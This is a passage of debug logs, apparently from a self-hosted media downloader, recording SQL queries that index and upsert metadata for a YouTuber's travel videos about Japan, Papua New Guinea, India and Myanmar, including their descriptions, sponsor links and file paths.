Never Get Back", "CvIFRZqadIU", 2112, false, "https://www.youtube.com/watch?v=CvIFRZqadIU", "/downloads/shows/Mike Okay/Season 2026/s2026e042400 - Japan Is Losing Something It Can Never Get Back.mp4", false, 3, ~U[2026-04-24 14:29:43Z]] 17:58:12.440 [debug] QUERY OK source="sources" db=0.2ms idle=3.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:58:12.440 [debug] QUERY OK source="media_items" db=0.2ms idle=3.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-04-10 16:12:23Z], 3] 17:58:12.442 [debug] QUERY OK source="media_items" db=1.0ms idle=3.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Go to my sponsor https://betterhelp.com/mikeokay to get 10% off your first month of therapy and join the millions of people taking steps to improve their mental health.\n\nOnce again we delve into the lesser explored side of a new country and this time we're in JAPAAAAAAAN. This was my first time visiting Japan. It wasn't as Japanese as I thought it was going to be. Does that make sense. Anyway. What was I talking about? Ah yes. Japan. Heres an AI written description that is supposed to be good for SEO or something. It's got Japan written into it like 200 time. Japan Japan Japan. We get it! \n\nI left Tokyo with nothing but a backpack and a cardboard sign, hitchhiking along Japan's lesser-known Pacific coastline in search of the real Japan that social media never shows you. From the hidden tea plantations of Makinohara — where unemployed samurai became farmers after Japan's Meiji Revolution — to the beaches, backroads, and local izakayas that tourists never reach, this is rural Japan completely off the beaten path. But the biggest surprise? Deep in the Japanese city of Hamamatsu lies a community of 25,000 Brazilians — one of the largest outside of Brazil itself — who came to work Japan's factories and never left. This is Japan like you've never seen it: raw, unexpected, and completely unfiltered. If you're interested in Japan travel, Japanese culture, hidden Japan, rural Japan, Japan off the beaten path, hitchhiking Japan, or simply the side of Japan that doesn't exist on Instagram — this video is for you. Part 1 of my Japan hitchhiking series.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/", "The Japan The Algorithm Is Hiding From You", "216e95fb-61ff-4aac-96f0-ee0dcc356a03", "zrYwOAJrViI", 2747, false, "https://www.youtube.com/watch?v=zrYwOAJrViI", 9, "/downloads/shows/Mike Okay/Season 2026/s2026e041000 - The Japan The Algorithm Is Hiding From You.mp4", false, false, false, 3, [], 98, ~U[2026-04-10 16:12:23Z], ~U[2026-08-20 00:58:12Z], ~U[2026-08-20 00:58:12Z], "Go to my sponsor https://betterhelp.com/mikeokay to get 10% off your first month of therapy and join the millions of people taking steps to improve their mental health.\n\nOnce again we delve into the lesser explored side of a new country and this time we're in JAPAAAAAAAN. This was my first time visiting Japan. It wasn't as Japanese as I thought it was going to be. Does that make sense. Anyway. What was I talking about? Ah yes. Japan. Heres an AI written description that is supposed to be good for SEO or something. It's got Japan written into it like 200 time. Japan Japan Japan. We get it! \n\nI left Tokyo with nothing but a backpack and a cardboard sign, hitchhiking along Japan's lesser-known Pacific coastline in search of the real Japan that social media never shows you. From the hidden tea plantations of Makinohara — where unemployed samurai became farmers after Japan's Meiji Revolution — to the beaches, backroads, and local izakayas that tourists never reach, this is rural Japan completely off the beaten path. But the biggest surprise? Deep in the Japanese city of Hamamatsu lies a community of 25,000 Brazilians — one of the largest outside of Brazil itself — who came to work Japan's factories and never left. This is Japan like you've never seen it: raw, unexpected, and completely unfiltered. If you're interested in Japan travel, Japanese culture, hidden Japan, rural Japan, Japan off the beaten path, hitchhiking Japan, or simply the side of Japan that doesn't exist on Instagram — this video is for you. Part 1 of my Japan hitchhiking series.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/", "The Japan The Algorithm Is Hiding From You", "zrYwOAJrViI", 2747, false, "https://www.youtube.com/watch?v=zrYwOAJrViI", "/downloads/shows/Mike Okay/Season 2026/s2026e041000 - The Japan The Algorithm Is Hiding From You.mp4", false, 3, ~U[2026-04-10 16:12:23Z]] 17:58:12.442 [debug] QUERY OK source="sources" db=0.1ms idle=4.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:58:12.443 [debug] QUERY OK source="media_items" db=0.2ms idle=3.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-27 20:18:27Z], 3] 17:58:12.444 [debug] QUERY OK source="media_items" db=0.7ms idle=2.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nI very very rarely s*it my pants. This was one of those times. Please enjoy the last of the Papua New Guinea Series.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#papuanewguinea #vlog #travel", "How To Get Robbed By Machete-Wielding Road Bandits", "598d7b94-5b8c-4116-8eee-41edfe46088d", "RZ925LRWI0M", 2836, false, "https://www.youtube.com/watch?v=RZ925LRWI0M", 10, "/downloads/shows/Mike Okay/Season 2026/s2026e032700 - How To Get Robbed By Machete-Wielding Road Bandits.mp4", false, false, false, 3, [], 98, ~U[2026-03-27 20:18:27Z], ~U[2026-08-20 00:58:12Z], ~U[2026-08-20 00:58:12Z], "https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nI very very rarely s*it my pants. This was one of those times. Please enjoy the last of the Papua New Guinea Series.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#papuanewguinea #vlog #travel", "How To Get Robbed By Machete-Wielding Road Bandits", "RZ925LRWI0M", 2836, false, "https://www.youtube.com/watch?v=RZ925LRWI0M", "/downloads/shows/Mike Okay/Season 2026/s2026e032700 - How To Get Robbed By Machete-Wielding Road Bandits.mp4", false, 3, ~U[2026-03-27 20:18:27Z]] 17:58:12.444 [debug] QUERY OK source="sources" db=0.1ms idle=3.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:58:12.444 [debug] QUERY OK source="media_items" db=0.2ms idle=2.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-13 17:17:03Z], 3] 17:58:12.445 [debug] QUERY OK source="media_items" db=0.7ms idle=2.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["At the port in Wewak, hundreds of passengers were waiting to board one of Papua New Guinea’s coastal ships, one of the only affordable ways to travel between remote towns. With no guarantee of getting on, I waited until the very last moment… and somehow managed to secure a spot.\n\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#papuanewguinea #vlog #travel", "I Survived 24 Hours on Papua New Guinea’s Wildest Ship", "14ea2ed3-5acc-430c-afa7-a75a139d43c1", "Xt-ikXQ-UxE", 1815, false, "https://www.youtube.com/watch?v=Xt-ikXQ-UxE", 11, "/downloads/shows/Mike Okay/Season 2026/s2026e031300 - I Survived 24 Hours on Papua New Guinea’s Wildest Ship.mp4", false, false, false, 3, [], 98, ~U[2026-03-13 17:17:03Z], ~U[2026-08-20 00:58:12Z], ~U[2026-08-20 00:58:12Z], "At the port in Wewak, hundreds of passengers were waiting to board one of Papua New Guinea’s coastal ships, one of the only affordable ways to travel between remote towns. With no guarantee of getting on, I waited until the very last moment… and somehow managed to secure a spot.\n\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#papuanewguinea #vlog #travel", "I Survived 24 Hours on Papua New Guinea’s Wildest Ship", "Xt-ikXQ-UxE", 1815, false, "https://www.youtube.com/watch?v=Xt-ikXQ-UxE", "/downloads/shows/Mike Okay/Season 2026/s2026e031300 - I Survived 24 Hours on Papua New Guinea’s Wildest Ship.mp4", false, 3, ~U[2026-03-13 17:17:03Z]] 17:58:12.446 [debug] QUERY OK source="sources" db=0.1ms idle=2.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:58:12.446 [debug] QUERY OK source="media_items" db=0.2ms idle=2.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-03-06 15:05:17Z], 3] 17:58:12.447 [debug] QUERY OK source="media_items" db=0.7ms idle=2.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Thank you to The Papua New Guinea History Project for providing some of the music in this video:\n\nhttps://youtu.be/Gv7MW6IsKnE?si=w8AVgQCWGte3lPpc\n\n\nI travelled along Papua New Guinea's isolated coastline, a place where the jungle still hides relics from World War II. During the war, more than 100,000 Japanese soldiers were stationed in Papua New Guinea, and some of the fiercest fighting of the Pacific campaign took place along this very coast.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#papuanewguinea #vlog #travel", "I've Never Travelled Somewhere Like This (Remote PNG)", "ed4f3b9c-b575-43e3-88d1-224c5ea8d227", "xNeD65kGXlU", 2626, false, "https://www.youtube.com/watch?v=xNeD65kGXlU", 12, "/downloads/shows/Mike Okay/Season 2026/s2026e030600 - I've Never Travelled Somewhere Like This (Remote PNG).mp4", false, false, false, 3, [], 98, ~U[2026-03-06 15:05:17Z], ~U[2026-08-20 00:58:12Z], ~U[2026-08-20 00:58:12Z], "Thank you to The Papua New Guinea History Project for providing some of the music in this video:\n\nhttps://youtu.be/Gv7MW6IsKnE?si=w8AVgQCWGte3lPpc\n\n\nI travelled along Papua New Guinea's isolated coastline, a place where the jungle still hides relics from World War II. During the war, more than 100,000 Japanese soldiers were stationed in Papua New Guinea, and some of the fiercest fighting of the Pacific campaign took place along this very coast.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#papuanewguinea #vlog #travel", "I've Never Travelled Somewhere Like This (Remote PNG)", "xNeD65kGXlU", 2626, false, "https://www.youtube.com/watch?v=xNeD65kGXlU", "/downloads/shows/Mike Okay/Season 2026/s2026e030600 - I've Never Travelled Somewhere Like This (Remote PNG).mp4", false, 3, ~U[2026-03-06 15:05:17Z]] 17:58:12.448 [debug] QUERY OK source="sources" db=0.1ms idle=3.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:58:12.448 [debug] QUERY OK source="media_items" db=0.3ms idle=2.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-02-27 15:04:44Z], 3] 17:58:12.449 [debug] QUERY OK source="media_items" db=0.7ms idle=2.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Not a lot can prepare you for Papua New Guinea. Especially when you enter the country overland from Indonesia with absolutely no plan.\n\nIn this video, I cross the Indonesia–Papua New Guinea border alone and head to Vanimo, my first stop inside PNG. With zero itinerary and no idea what to expect, I dive straight into life on the ground from smashing beers and betel nut to navigating unpredictable first encounters in a town that doesn’t slow down for anyone.\n\nThis is my first day in Papua New Guinea, and it didn’t go the way I imagined.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#papuanewguinea #vlog #travel", "Entering Papua New Guinea Alone in 2026", "9b4c6191-8a5d-44e5-8708-313a2fc64bfb", "sVlpZ6zLXh4", 1993, false, "https://www.youtube.com/watch?v=sVlpZ6zLXh4", 13, "/downloads/shows/Mike Okay/Season 2026/s2026e022700 - Entering Papua New Guinea Alone in 2026.mp4", false, false, false, 3, [], 98, ~U[2026-02-27 15:04:44Z], ~U[2026-08-20 00:58:12Z], ~U[2026-08-20 00:58:12Z], "Not a lot can prepare you for Papua New Guinea. Especially when you enter the country overland from Indonesia with absolutely no plan.\n\nIn this video, I cross the Indonesia–Papua New Guinea border alone and head to Vanimo, my first stop inside PNG. With zero itinerary and no idea what to expect, I dive straight into life on the ground from smashing beers and betel nut to navigating unpredictable first encounters in a town that doesn’t slow down for anyone.\n\nThis is my first day in Papua New Guinea, and it didn’t go the way I imagined.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#papuanewguinea #vlog #travel", "Entering Papua New Guinea Alone in 2026", "sVlpZ6zLXh4", 1993, false, "https://www.youtube.com/watch?v=sVlpZ6zLXh4", "/downloads/shows/Mike Okay/Season 2026/s2026e022700 - Entering Papua New Guinea Alone in 2026.mp4", false, 3, ~U[2026-02-27 15:04:44Z]] 17:58:12.450 [debug] QUERY OK source="sources" db=0.1ms idle=3.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:58:12.450 [debug] QUERY OK source="media_items" db=0.2ms idle=2.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-31 14:53:48Z], 3] 17:58:12.451 [debug] QUERY OK source="media_items" db=0.7ms idle=2.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nPlease subscribe to Renny's Channel he is nearly at 100k! - https://www.youtube.com/@UCTC2TdtxGyqkJuyGJELvFEA \n\nLook. I get it. Is india perfect? No. But, is anywhere? And what kind of world would we be living in if everywhere was the same. \n\nAnd I get its not for everyone. But I like it there. And if even one person can watch this video and go to india because of it. Ill consider this a success.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#india #vlog #travel", "They're Lying to You About India...", "57c9e9ea-24e0-411b-ae48-79c043d7c563", "W4ZERiu8IMs", 2973, false, "https://www.youtube.com/watch?v=W4ZERiu8IMs", 14, "/downloads/shows/Mike Okay/Season 2026/s2026e013100 - They're Lying to You About India....mp4", false, false, false, 3, [], 98, ~U[2026-01-31 14:53:48Z], ~U[2026-08-20 00:58:12Z], ~U[2026-08-20 00:58:12Z], "https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nPlease subscribe to Renny's Channel he is nearly at 100k! - https://www.youtube.com/@UCTC2TdtxGyqkJuyGJELvFEA \n\nLook. I get it. Is india perfect? No. But, is anywhere? And what kind of world would we be living in if everywhere was the same. \n\nAnd I get its not for everyone. But I like it there. And if even one person can watch this video and go to india because of it. Ill consider this a success.\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#india #vlog #travel", "They're Lying to You About India...", "W4ZERiu8IMs", 2973, false, "https://www.youtube.com/watch?v=W4ZERiu8IMs", "/downloads/shows/Mike Okay/Season 2026/s2026e013100 - They're Lying to You About India....mp4", false, 3, ~U[2026-01-31 14:53:48Z]] 17:58:12.452 [debug] QUERY OK source="sources" db=0.1ms idle=3.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:58:12.452 [debug] QUERY OK source="media_items" db=0.2ms idle=2.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-22 16:12:19Z], 3] 17:58:12.453 [debug] QUERY OK source="media_items" db=0.6ms idle=2.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Check out Roving's Channel Here! https://www.youtube.com/@UCxjeFUx3OfDGYGjG8Nh6PzQ \n\nThe India–Myanmar border was not drawn by local communities. It was a British imperial boundary, formalised in the 19th and early 20th centuries, primarily for administrative convenience and strategic control.\n\nCome with me as I travel to the very edge of India. To see what life is like on this fascinating border\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#myanmar #india #border", "Overnight on Myanmar's Forbidden Border", "14279e45-a26a-4ad0-8216-cc6096b95275", "bBxtc-Tskto", 2343, false, "https://www.youtube.com/watch?v=bBxtc-Tskto", 15, "/downloads/shows/Mike Okay/Season 2026/s2026e012200 - Overnight on Myanmar's Forbidden Border.mp4", false, false, false, 3, [], 98, ~U[2026-01-22 16:12:19Z], ~U[2026-08-20 00:58:12Z], ~U[2026-08-20 00:58:12Z], "Check out Roving's Channel Here! https://www.youtube.com/@UCxjeFUx3OfDGYGjG8Nh6PzQ \n\nThe India–Myanmar border was not drawn by local communities. It was a British imperial boundary, formalised in the 19th and early 20th centuries, primarily for administrative convenience and strategic control.\n\nCome with me as I travel to the very edge of India. To see what life is like on this fascinating border\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- \nEmail me: mike@mikeokay.co.uk\nFollow me on insta: https://www.instagram.com/mikeokayyt/\n\n#myanmar #india #border", "Overnight on Myanmar's Forbidden Border", "bBxtc-Tskto", 2343, false, "https://www.youtube.com/watch?v=bBxtc-Tskto", "/downloads/shows/Mike Okay/Season 2026/s2026e012200 - Overnight on Myanmar's Forbidden Border.mp4", false, 3, ~U[2026-01-22 16:12:19Z]] 17:58:12.453 [debug] QUERY OK source="sources" db=0.1ms idle=3.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 17:58:12.454 [debug] QUERY OK source="media_items" db=0.2ms idle=2.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-12-19 16:34:02Z], 3] 17:58:12.455 [debug] QUERY OK source="media_items" db=0.7ms idle=2.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["https://try.airalo.com/mikeokay - Download Airalo Here and Get $3 off Your First ESIM! Use Code - MIKE\n\nQudrats insta - https://www.instagram.com/qudratreyimov/\n\nKarakalpakstan is a region most people have never heard of.. yet it was once legally allowed to become its own country...\n\nThanks to the wonderful team who turned my crazy Airalo ad idea to a reality in one day\nhttps://www.instagram.com/bahoaaa/\n\nenjoy, mike x\n\nSome other vids you should watch:\n\n\nhttps://www.youtube.com/watch?v=YkRw1vkk6lI&t=48s\n \nhttps://www.youtube.com/watch?v=gAP5fcOCChw\n\n\n\n------- 